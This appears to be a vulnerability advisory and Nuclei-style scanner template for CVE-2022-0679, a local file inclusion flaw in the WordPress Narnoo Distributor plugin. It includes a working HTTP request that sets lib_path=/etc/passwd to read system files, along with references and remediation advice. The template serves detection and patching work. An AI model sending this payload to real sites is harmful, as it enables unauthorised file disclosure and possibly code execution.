WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.
PoC代码[已公开]
id: CVE-2022-0679
info:
name: WordPress Narnoo Distributor <=2.5.1 - Local File Inclusion
author: Veshraj
severity: critical
description: |
WordPress Narnoo Distributor plugin 2.5.1 and prior is susceptible to local file inclusion. The plugin does not validate and sanitize the lib_path parameter before being passed into a call to require() via the narnoo_distributor_lib_request AJAX action, and the content of the file is displayed in the response as JSON data. This can also lead to a remote code execution vulnerability depending on system and configuration.
impact: |
The vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
remediation: |
Update to the latest version of the WordPress Narnoo Distributor plugin (>=2.5.2) to mitigate the LFI vulnerability.
reference:
- https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8
- https://nvd.nist.gov/vuln/detail/CVE-2022-0679
- https://github.com/cyllective/CVEs
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0679
cwe-id: CWE-22
epss-score: 0.80857
epss-percentile: 0.99116
cpe: cpe:2.3:a:narnoo_distributor_project:narnoo_distributor:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: narnoo_distributor_project
product: narnoo_distributor
framework: wordpress
tags: cve,cve2022,narnoo-distributor,wordpress,wp-plugin,wpscan,wp,rce,unauth,lfi,narnoo_distributor_project
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=narnoo_distributor_lib_request&lib_path=/etc/passwd
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022042ec94a5f8aec7058c2b9ab54654db0c38f89abf0bbc68132575a52a93dfd1cb022064fa58ff14405fe583b3f25156553e3dc98443fa7993b97d9dbe04ec6d115627:922c64590222798bb761d5b6d8e72950